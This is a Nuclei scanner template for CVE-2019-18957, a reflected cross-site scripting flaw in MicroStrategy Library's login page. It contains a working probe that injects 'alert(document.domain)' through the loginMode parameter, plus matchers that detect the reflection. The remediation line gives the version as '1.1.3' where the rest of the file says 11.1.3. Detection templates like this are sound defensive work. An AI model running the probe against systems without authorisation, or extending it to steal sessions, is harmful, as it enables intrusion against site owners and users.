id: CVE-2019-18957

info:
  name: MicroStrategy Library <11.1.3 - Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: The issue can be resolved by downloading and installing 1.1.3, which has the patch.
  reference:
    - https://seclists.org/bugtraq/2019/Nov/23
    - https://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18957
    - http://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
    - http://seclists.org/fulldisclosure/2019/Nov/4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-18957
    cwe-id: CWE-79
    epss-score: 0.05053
    epss-percentile: 0.89887
    cpe: cpe:2.3:a:microstrategy:microstrategy_library:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microstrategy
    product: microstrategy_library
  tags: cve,cve2019,microstrategy,packetstorm,xss,seclists,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "previousLoginMode: alert(document.domain),"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022069ca14a89fa7b7f6045623a348ddf6dcf2e641a8c5ffff8b5b10602d6a8658d7022100c075144aa7f82785d618f502d1196eb373b96d6a6b5d15b79308b868a5799f63:922c64590222798bb761d5b6d8e72950